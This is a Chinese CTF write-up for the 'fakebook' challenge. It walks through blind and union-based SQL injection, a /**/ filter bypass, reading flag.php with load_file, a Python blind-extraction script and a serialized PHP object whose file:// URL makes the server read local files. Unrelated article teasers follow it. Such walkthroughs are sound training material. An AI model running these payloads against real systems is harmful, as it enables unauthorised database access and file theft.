news 2026/7/7 2:51:58

[CTF]攻防世界:fakebook (sql注入)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CTF]攻防世界:fakebook (sql注入)

题目:攻防世界:fakebook (sql注入)

提示:sql注入


步骤

  1. 进入网站查看下功能点,一个登录一个加入。加入一个

注册后自动返回首页,显示出了刚刚注册的用户信息,并且可以点开。

这是点开后的展示页面


  1. 针对上面对注册和登录点进行抓包,然后尝试注入,login和join页面似乎不存在注入,不过在view展示页面,似乎存在盲注

payload:?no=1 and 1=1 / and 1=2


这里记录一下,爆出了网站目录:/var/www/html


  1. 扫描网站看一下



下载user.php.bak看下

<?phpclassUserInfo{public $name="";public $age=0;public $blog="";public function__construct($name,$age,$blog){$this->name=$name;$this->age=(int)$age;$this->blog=$blog;}functionget($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$output=curl_exec($ch);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);if($httpCode==404){return404;}curl_close($ch);return$output;}public function getBlogContents(){return$this->get($this->blog);}public function isValidBlog(){$blog=$this->blog;returnpreg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i",$blog);}}

发现是一个用户类,有些方法和blog的效验。

returnpreg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i",$blog);

只允许http或https开头,符合域名形式的地址输入,在join页面的时候调用了此方法进行校验。如果可以绕过应该可以利用上面的curl进行file://、gopher://等读文件…尝试了下,没法利用。


  1. 那还是回到sql注入。
    没看到扫描目录中存在flag.php的时候,还在死板的进行sql注入拿数据库名、表名、列名…
数据库:view.php?no=1ANDASCII(SUBSTR((DATABASE()),1,1))>1表名:view.php?no=1and(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT0,1)

后面测试了半天,发现数据库名为:fakebook,只有一个表users。


  1. 回到flag.php,根据之前报错的目录,拼接出 地址:/var/www/html/flag.php,用load_file依次读出内容。


后面直接用ai生成一个脚本,爆破出flag.php的内容:

#!/usr/bin/env python3importasyncio,aiohttp URL="http://61.147.171.105:53869/view.php"FILE="/var/www/html/flag.php"LEN=70TOK="xxx"# 正常页面关键字 CONC=3TIME=30asyncdefreq(payload:str)->bool:asyncwithsemaphore:asyncwithsession.get(URL,params={'no':f'1 and {payload}'},timeout=TIME)asr:returnTOKinawaitr.text()asyncdefget_char(pos:int)->str:v=0forbitinrange(7):#0-127只需7位 payload=f"ORD(MID(LOAD_FILE('{FILE}'),{pos},1))&{1<<bit}"ifawaitreq(payload):v|=1<<bitreturnchr(v)asyncdefmain():global semaphore,session semaphore=asyncio.Semaphore(CONC)asyncwithaiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=CONC))assession:flag=awaitasyncio.gather(*(get_char(i)foriinrange(1,LEN+1)))print(''.join(flag))if__name__=='__main__':asyncio.run(main())


补充一下其他方法:
上面view.php?no=1 注入时,测试:?no = -1 union select 1,2,3,4–+联合注入 发现有过滤了 union select

可以绕过:union//select**
继续 ?no = -1 union//select 1,2,3,4–+ 爆出2回显位

?no=-1 union//select 1,user(),3,4–+
//数据库信息


其实通过联合查询可以直接查出flag.php内容:

?no=-1union/**/select1,load_file("/var/www/html/flag.php"),3,4--+


另外一种继续爆破数据库:
然后爆字段名:

?no=-1union/**/select1,group_concat(column_name),3,4from information_schema.columns where table_name='users'--+


发现data字段,读一个看看

似乎和之前下载的备份 user.php.bak 中用户类有关系,看起来像序列化之后的内容。

直接改动 123.blog 为file:///var/www/html/flag.php

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

?no=-1union/**/select1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码,发现iframe框架中有base64的加密内容

base64解密得到flag


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 10:55:11

Matlab【独家原创】基于DOA-CNN-BiLSTM-Attention-SHAP可解释性分析的分类预测

目录 1、代码简介 2、代码运行结果展示 3、代码获取 1、代码简介 (DOA-CNN-BiLSTM-AttentionSHAP)基于豺算法优化卷积神经网络结合双向长短期记忆神经网络结合注意力机制的数据多输入单输出SHAP可解释性分析的分类预测模型 由于DOA-CNN-BiLSTM-Attention在使用SHAP分析时速…

作者头像 李华
网站建设 2026/7/7 14:18:42

Transformer位置编码改进提升Qwen-Image-Edit-2509空间感知能力

Transformer位置编码改进提升Qwen-Image-Edit-2509空间感知能力 在图像编辑迈向“自然语言驱动”的今天&#xff0c;一个看似微小却影响深远的问题浮出水面&#xff1a;为什么模型总把“把包移到右边桌子上方”理解成“随便找个空地放一下”&#xff1f; 这背后并非语义理解不深…

作者头像 李华
网站建设 2026/7/7 7:54:12

Stable Diffusion 3.5 FP8支持1024×1024高分辨率出图,细节拉满

Stable Diffusion 3.5 FP8支持10241024高分辨率出图&#xff0c;细节拉满 在专业级图像生成领域&#xff0c;一个长期存在的难题始终困扰着开发者&#xff1a;如何在不牺牲画质的前提下&#xff0c;让像Stable Diffusion这样的大模型跑得更快、更省资源&#xff1f;尤其是当用户…

作者头像 李华
网站建设 2026/7/7 19:31:00

DAY 39 早停策略和模型权重的保存

一、过拟合的判断 在机器学习中&#xff0c;过拟合&#xff08;Overfitting&#xff09; 的核心定义是&#xff1a;模型在训练集上表现极佳&#xff08;损失极低、准确率极高&#xff09;&#xff0c;但在未见过的测试集 / 验证集上表现大幅下降&#xff0c;本质是模型 “死记硬…

作者头像 李华
网站建设 2026/7/7 14:03:09

如何在VSCode插件中集成Stable Diffusion 3.5 FP8?完整配置教程

如何在 VSCode 插件中集成 Stable Diffusion 3.5 FP8&#xff1f;完整配置教程你有没有过这样的经历&#xff1a;正在写一份产品文档&#xff0c;突然灵光一闪——“如果能在这里直接生成一张配图该多好”&#xff1f;但现实是&#xff0c;你得切换到浏览器、打开 WebUI 工具、…

作者头像 李华
网站建设 2026/7/7 13:12:14

Dify智能体平台接入gpt-oss-20b实现自动化业务处理

Dify智能体平台接入gpt-oss-20b实现自动化业务处理 在金融、医疗和政务等行业&#xff0c;企业对AI系统的期待早已超越“能回答问题”这一基础能力。他们真正关心的是&#xff1a;数据能不能不出内网&#xff1f;响应速度能否控制在1秒以内&#xff1f;每年几十万的API账单能不…

作者头像 李华